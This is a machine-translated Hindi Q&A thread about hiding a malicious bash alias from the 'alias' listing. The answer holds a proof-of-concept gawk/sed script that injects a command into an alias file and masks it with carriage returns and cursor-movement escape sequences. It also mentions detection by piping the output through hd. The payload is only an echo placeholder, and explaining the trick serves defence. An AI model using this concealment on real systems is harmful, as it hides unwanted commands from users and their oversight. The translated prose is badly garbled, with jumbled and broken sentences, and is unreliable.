क्या लिनक्स सिस्टम पर बैश में एक दुर्भावनापूर्ण उपनाम के अस्तित्व को छिपाना संभव है और क्या यह उपयोगकर्ता द्वारा उनकी जानकारी के बिना निष्पादित किया गया है?
क्या लिनक्स सिस्टम पर बैश में एक दुर्भावनापूर्ण उपनाम के अस्तित्व को छिपाना संभव है और क्या यह उपयोगकर्ता द्वारा उनकी जानकारी के बिना निष्पादित किया गया है?
जवाबों:
यह संभव है कि दुर्भावनापूर्ण एक पर मौजूदा उपनाम को जोड़कर और कर्सर आंदोलन का उपयोग करके इसे छिपाने के लिए यदि alias
कमांड का उपयोग उपनाम की परिभाषाओं को प्रदर्शित करने के लिए किया जाता है। यह पूरी तरह से मूर्खतापूर्ण तरीका नहीं है, लेकिन यह थोड़ी देर के लिए चल सकता है। के alias
माध्यम से पाइपिंग hd
आपको दिखाएगा कि आपके उपनाम में कोई एस्केप सीक्वेंस (कर्सर आंदोलन) हैं या नहीं। यहाँ एक दुर्भावनापूर्ण आदेश को एक उपनाम में कैसे डाला जा सकता है, इसके लिए अवधारणा का एक प्रमाण है:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
आदेश संशोधित एक फ़ाइल जगह में "अन्य नामों" कहा जाता है - इस प्रकार के कोई वास्तविक स्क्रिप्ट गले के लिए जाने के लिए और इसलिए दुर्भावनापूर्ण उर्फ अगली बार जब यह मार डाला है सक्रिय हो जाएगा कोई वास्तविक स्क्रिप्ट फ़ाइल को संशोधित करेगा।hide
को एक तर्क की सामग्री के साथ निष्पादित किया जाएगा ताकि यह अनुमान योग्य हो कि आपको इस प्रश्न में रिपोर्ट की गई के समान त्रुटि मिल सकती है । इसे प्रभावित करने के लिए मूल और दुर्भावनापूर्ण भागों को उल्टा करना संभव हो सकता है, हालांकि यह उर्फ को प्रदान किए जा रहे तर्कों के साथ हस्तक्षेप करेगा। तर्कों के अंत को चिह्नित करने के लिए ऊपर की स्क्रिप्ट में एक प्रयास किया गया है --
।&&
, आप अगले एक को पाइप कर सकते हैं और दुर्भावनापूर्ण स्क्रिप्ट (सरल echo
कमांड द्वारा ऊपर दर्शाया गया है ) फ़ंक्शन को डेटा को संशोधित करने के stdin
लिए stdout
पास-थ्रू के रूप में या तो इसे पार करने या इसे छिपाने के लिए कर सकते हैं। अन्य पुनर्निर्देशन में हस्तक्षेप न करके आगे अस्तित्वhide
स्ट्रिंग बहुत अलग कर्सर आंदोलन और मूल उर्फ का पाठ शामिल करने के लिए संशोधित किया जा सकता है alias
आदेश दुर्भावनापूर्ण भाग के साथ-साथ यह छुपा के बजाय असंशोधित उर्फ दिखाने के लिए प्रकट होता है।. aliases
। फिर आप प्रभावित उपनाम का उपयोग करने की कोशिश कर सकते हैं और देख सकते हैं कि जब आप ऐसा करते हैं तो यह कैसा दिखता है alias|hd
।